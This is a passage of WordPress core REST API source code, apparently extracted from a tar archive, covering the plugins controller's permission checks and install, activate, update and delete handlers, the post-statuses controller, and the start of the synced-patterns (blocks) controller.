	 *
	 * On multisite, this hides non-active network only plugins if the user does not have permission
	 * to manage network plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return true|WP_Error True if can read, a WP_Error instance otherwise.
	 */
	protected function check_read_permission( $plugin ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! $this->is_plugin_installed( $plugin ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		if ( ! is_multisite() ) {
			return true;
		}

		if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_view_plugin',
			__( 'Sorry, you are not allowed to manage this plugin.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to upload plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! current_user_can( 'install_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_install_plugin',
				__( 'Sorry, you are not allowed to install plugins on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' !== $request['status'] && ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate plugins.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Uploads a plugin and optionally activates it.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		global $wp_filesystem;

		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

		$slug = $request['slug'];

		// Verify filesystem is accessible first.
		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $slug,
				'fields' => array(
					'sections'       => false,
					'language_packs' => true,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			if ( str_contains( $api->get_error_message(), 'Plugin not found.' ) ) {
				$api->add_data( array( 'status' => 404 ) );
			} else {
				$api->add_data( array( 'status' => 500 ) );
			}

			return $api;
		}

		$skin     = new WP_Ajax_Upgrader_Skin();
		$upgrader = new Plugin_Upgrader( $skin );

		$result = $upgrader->install( $api->download_link );

		if ( is_wp_error( $result ) ) {
			$result->add_data( array( 'status' => 500 ) );

			return $result;
		}

		// This should be the same as $result above.
		if ( is_wp_error( $skin->result ) ) {
			$skin->result->add_data( array( 'status' => 500 ) );

			return $skin->result;
		}

		if ( $skin->get_errors()->has_errors() ) {
			$error = $skin->get_errors();
			$error->add_data( array( 'status' => 500 ) );

			return $error;
		}

		if ( is_null( $result ) ) {
			// Pass through the error from WP_Filesystem if one was raised.
			if ( $wp_filesystem instanceof WP_Filesystem_Base
				&& is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors()
			) {
				return new WP_Error(
					'unable_to_connect_to_filesystem',
					$wp_filesystem->errors->get_error_message(),
					array( 'status' => 500 )
				);
			}

			return new WP_Error(
				'unable_to_connect_to_filesystem',
				__( 'Unable to connect to the filesystem. Please confirm your credentials.' ),
				array( 'status' => 500 )
			);
		}

		$file = $upgrader->plugin_info();

		if ( ! $file ) {
			return new WP_Error(
				'unable_to_determine_installed_plugin',
				__( 'Unable to determine what plugin was installed.' ),
				array( 'status' => 500 )
			);
		}

		if ( 'inactive' !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}

			$changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $changed_status ) ) {
				return $changed_status;
			}
		}

		// Install translations.
		$installed_locales = array_values( get_available_languages() );
		/** This filter is documented in wp-includes/update.php */
		$installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales );

		$language_packs = array_map(
			static function ( $item ) {
				return (object) $item;
			},
			$api->language_packs
		);

		$language_packs = array_filter(
			$language_packs,
			static function ( $pack ) use ( $installed_locales ) {
				return in_array( $pack->language, $installed_locales, true );
			}
		);

		if ( $language_packs ) {
			$lp_upgrader = new Language_Pack_Upgrader( $skin );

			// Install all applicable language packs for the plugin.
			$lp_upgrader->bulk_upgrade( $language_packs );
		}

		$path          = WP_PLUGIN_DIR . '/' . $file;
		$data          = get_plugin_data( $path, false, false );
		$data['_file'] = $file;

		$response = $this->prepare_item_for_response( $data, $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}
		}

		return true;
	}

	/**
	 * Updates one plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $handled ) ) {
				return $handled;
			}
		}

		$this->update_additional_fields_for_object( $data, $request );

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if a given request has access to delete a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'delete_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to delete plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Deletes one plugin from the site.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		if ( is_plugin_active( $request['plugin'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_active_plugin',
				__( 'Cannot delete an active plugin. Please deactivate it first.' ),
				array( 'status' => 400 )
			);
		}

		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$prepared = $this->prepare_item_for_response( $data, $request );
		$deleted  = delete_plugins( array( $request['plugin'] ) );

		if ( is_wp_error( $deleted ) ) {
			$deleted->add_data( array( 'status' => 500 ) );

			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $prepared->get_data(),
			)
		);
	}

	/**
	 * Prepares the plugin for the REST response.
	 *
	 * @since 5.5.0
	 *
	 * @param array           $item    Unmarked up and untranslated plugin data from {@see get_plugin_data()}.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );

		$item   = _get_plugin_data_markup_translate( $item['_file'], $item, false );
		$marked = _get_plugin_data_markup_translate( $item['_file'], $item, true );

		$data = array(
			'plugin'       => substr( $item['_file'], 0, - 4 ),
			'status'       => $this->get_plugin_status( $item['_file'] ),
			'name'         => $item['Name'],
			'plugin_uri'   => $item['PluginURI'],
			'author'       => $item['Author'],
			'author_uri'   => $item['AuthorURI'],
			'description'  => array(
				'raw'      => $item['Description'],
				'rendered' => $marked['Description'],
			),
			'version'      => $item['Version'],
			'network_only' => $item['Network'],
			'requires_wp'  => $item['RequiresWP'],
			'requires_php' => $item['RequiresPHP'],
			'textdomain'   => $item['TextDomain'],
		);

		$data = $this->add_additional_fields_to_object( $data, $request );

		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters plugin data for a REST API response.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The plugin item from {@see get_plugin_data()}.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_plugin', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.5.0
	 *
	 * @param array $item The plugin item.
	 * @return array[]
	 */
	protected function prepare_links( $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/%s/%s',
						$this->namespace,
						$this->rest_base,
						substr( $item['_file'], 0, - 4 )
					)
				),
			),
		);
	}

	/**
	 * Gets the plugin header data for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to get data for.
	 * @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed.
	 */
	protected function get_plugin_data( $plugin ) {
		$plugins = get_plugins();

		if ( ! isset( $plugins[ $plugin ] ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		$data          = $plugins[ $plugin ];
		$data['_file'] = $plugin;

		return $data;
	}

	/**
	 * Get's the activation status for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return string Either 'network-active', 'active' or 'inactive'.
	 */
	protected function get_plugin_status( $plugin ) {
		if ( is_plugin_active_for_network( $plugin ) ) {
			return 'network-active';
		}

		if ( is_plugin_active( $plugin ) ) {
			return 'active';
		}

		return 'inactive';
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) {
		if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_network_plugins',
				__( 'Sorry, you are not allowed to manage network plugins.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_deactivate_plugin',
				__( 'Sorry, you are not allowed to deactivate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function handle_plugin_status( $plugin, $new_status, $current_status ) {
		if ( 'inactive' === $new_status ) {
			deactivate_plugins( $plugin, false, 'network-active' === $current_status );

			return true;
		}

		if ( 'active' === $new_status && 'network-active' === $current_status ) {
			return true;
		}

		$network_activate = 'network-active' === $new_status;

		if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) {
			return new WP_Error(
				'rest_network_only_plugin',
				__( 'Network only plugin must be network activated.' ),
				array( 'status' => 400 )
			);
		}

		$activated = activate_plugin( $plugin, '', $network_activate );

		if ( is_wp_error( $activated ) ) {
			$activated->add_data( array( 'status' => 500 ) );

			return $activated;
		}

		return true;
	}

	/**
	 * Checks that the "plugin" parameter is a valid path.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return bool
	 */
	public function validate_plugin_param( $file ) {
		if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) {
			return false;
		}

		$validated = validate_file( plugin_basename( $file ) );

		return 0 === $validated;
	}

	/**
	 * Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return string
	 */
	public function sanitize_plugin_param( $file ) {
		return plugin_basename( sanitize_text_field( $file . '.php' ) );
	}

	/**
	 * Checks if the plugin matches the requested parameters.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request The request to require the plugin matches against.
	 * @param array           $item    The plugin item.
	 * @return bool
	 */
	protected function does_plugin_match_request( $request, $item ) {
		$search = $request['search'];

		if ( $search ) {
			$matched_search = false;

			foreach ( $item as $field ) {
				if ( is_string( $field ) && str_contains( strip_tags( $field ), $search ) ) {
					$matched_search = true;
					break;
				}
			}

			if ( ! $matched_search ) {
				return false;
			}
		}

		$status = $request['status'];

		if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the plugin is installed.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file.
	 * @return bool
	 */
	protected function is_plugin_installed( $plugin ) {
		return file_exists( WP_PLUGIN_DIR . '/' . $plugin );
	}

	/**
	 * Determine if the endpoints are available.
	 *
	 * Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present.
	 *
	 * @since 5.5.0
	 *
	 * @return true|WP_Error True if filesystem is available, WP_Error otherwise.
	 */
	protected function is_filesystem_available() {
		$filesystem_method = get_filesystem_method();

		if ( 'direct' === $filesystem_method ) {
			return true;
		}

		ob_start();
		$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
		ob_end_clean();

		if ( $filesystem_credentials_are_stored ) {
			return true;
		}

		return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) );
	}

	/**
	 * Retrieves the plugin's schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'plugin',
			'type'       => 'object',
			'properties' => array(
				'plugin'       => array(
					'description' => __( 'The plugin file.' ),
					'type'        => 'string',
					'pattern'     => self::PATTERN,
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'status'       => array(
					'description' => __( 'The plugin activation status.' ),
					'type'        => 'string',
					'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'         => array(
					'description' => __( 'The plugin name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'plugin_uri'   => array(
					'description' => __( 'The plugin\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author'       => array(
					'description' => __( 'The plugin author.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author_uri'   => array(
					'description' => __( 'Plugin author\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'description'  => array(
					'description' => __( 'The plugin description.' ),
					'type'        => 'object',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The raw plugin description.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The plugin description formatted for display.' ),
							'type'        => 'string',
						),
					),
				),
				'version'      => array(
					'description' => __( 'The plugin version number.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'network_only' => array(
					'description' => __( 'Whether the plugin can only be activated network-wide.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_wp'  => array(
					'description' => __( 'Minimum required version of WordPress.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_php' => array(
					'description' => __( 'Minimum required version of PHP.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'textdomain'   => array(
					'description' => __( 'The plugin\'s text domain.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.5.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['status'] = array(
			'description' => __( 'Limits results to plugins with the given status.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
				'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
			),
		);

		unset( $query_params['page'], $query_params['per_page'] );

		return $query_params;
	}
}
endpoints/class-wp-rest-post-statuses-controller.php000064400000024105151724720270017012 0ustar00<?php
/**
 * REST API: WP_REST_Post_Statuses_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access post statuses via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Statuses_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'statuses';
	}

	/**
	 * Registers the routes for post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<status>[\w-]+)',
			array(
				'args'   => array(
					'status' => array(
						'description' => __( 'An alphanumeric identifier for the status.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage post statuses.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all post statuses, depending on user context.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data              = array();
		$statuses          = get_post_stati( array( 'internal' => false ), 'object' );
		$statuses['trash'] = get_post_status_object( 'trash' );

		foreach ( $statuses as $obj ) {
			$ret = $this->check_read_permission( $obj );

			if ( ! $ret ) {
				continue;
			}

			$status             = $this->prepare_item_for_response( $obj, $request );
			$data[ $obj->name ] = $this->prepare_response_for_collection( $status );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$status = get_post_status_object( $request['status'] );

		if ( empty( $status ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$check = $this->check_read_permission( $status );

		if ( ! $check ) {
			return new WP_Error(
				'rest_cannot_read_status',
				__( 'Cannot view status.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks whether a given post status should be visible.
	 *
	 * @since 4.7.0
	 *
	 * @param object $status Post status.
	 * @return bool True if the post status is visible, otherwise false.
	 */
	protected function check_read_permission( $status ) {
		if ( true === $status->public ) {
			return true;
		}

		if ( false === $status->internal || 'trash' === $status->name ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Retrieves a specific post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_status_object( $request['status'] );

		if ( empty( $obj ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post status object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Post status data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$status = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $status->label;
		}

		if ( in_array( 'private', $fields, true ) ) {
			$data['private'] = (bool) $status->private;
		}

		if ( in_array( 'protected', $fields, true ) ) {
			$data['protected'] = (bool) $status->protected;
		}

		if ( in_array( 'public', $fields, true ) ) {
			$data['public'] = (bool) $status->public;
		}

		if ( in_array( 'queryable', $fields, true ) ) {
			$data['queryable'] = (bool) $status->publicly_queryable;
		}

		if ( in_array( 'show_in_list', $fields, true ) ) {
			$data['show_in_list'] = (bool) $status->show_in_admin_all_list;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $status->name;
		}

		if ( in_array( 'date_floating', $fields, true ) ) {
			$data['date_floating'] = $status->date_floating;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) );
		if ( 'publish' === $status->name ) {
			$response->add_link( 'archives', $rest_url );
		} else {
			$response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) );
		}

		/**
		 * Filters a post status returned from the REST API.
		 *
		 * Allows modification of the status data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $status   The original post status object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_status', $response, $status, $request );
	}

	/**
	 * Retrieves the post status' schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'status',
			'type'       => 'object',
			'properties' => array(
				'name'          => array(
					'description' => __( 'The title for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'private'       => array(
					'description' => __( 'Whether posts with this status should be private.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'protected'     => array(
					'description' => __( 'Whether posts with this status should be protected.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'public'        => array(
					'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'queryable'     => array(
					'description' => __( 'Whether posts with this status should be publicly-queryable.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'show_in_list'  => array(
					'description' => __( 'Whether to include posts in the edit listing for their post type.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'slug'          => array(
					'description' => __( 'An alphanumeric identifier for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'date_floating' => array(
					'description' => __( 'Whether posts of this status may have floating published dates.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-blocks-controller.php000060400000006152151724720270015427 0ustar00<?php
/**
 * Synced patterns REST API: WP_REST_Blocks_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides a REST endpoint for the editor to read, create,
 * edit, and delete synced patterns (formerly called reusable blocks).
 * Patterns are stored as posts with the wp_block post type.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Posts_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Blocks_Controller extends WP_REST_Posts_Controller {

	/**
	 * Checks if a pattern can be read.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post $post Post object that backs the block.
	 * @return bool Whether the pattern can be read.
	 */
	public function check_read_permission( $post ) {
		// By default the read_post capability is mapped to edit_posts.
		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return false;
		}

		return parent::check_read_permission( $post );
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 5.0.0
	 * @since 6.3.0 Adds the `wp_pattern_sync_status` postmeta property to the top level of response.
	 *
	 * @param array  $data    Response data to filter.
	 * @param string $context Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $data, $context ) {
		$data = parent::filter_response_by_context( $data, $context );

		/*
		 * Remove `title.rendered` and `content.rendered` from the response.
		 * It doesn't make sense for a pattern to have rendered content on its own,
		 * since rendering a block requires it to be inside a post or a page.
		 */
		unset( $data['title']['rendered'] );
		unset( $data['content']['rendered'] );

		// Add the core wp_pattern_sync_status meta as top level property to the response.
		$data['wp_pattern_sync_status'] = isset( $data['meta']['wp_pattern_sync_status'] ) ? $data['meta']['wp_pattern_sync_status'] : '';
		unset( $data['meta']['wp_pattern_sync_status'] );
		return $data;
	}

	/**
	 * Retrieves the pattern's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();

		/*
		 * Allow all contexts to access `title.raw` and `content.raw`.
		 * Clients always need the raw markup of a pattern to do anything useful,
		 * e.g. parse it or display it in an editor.
		 */
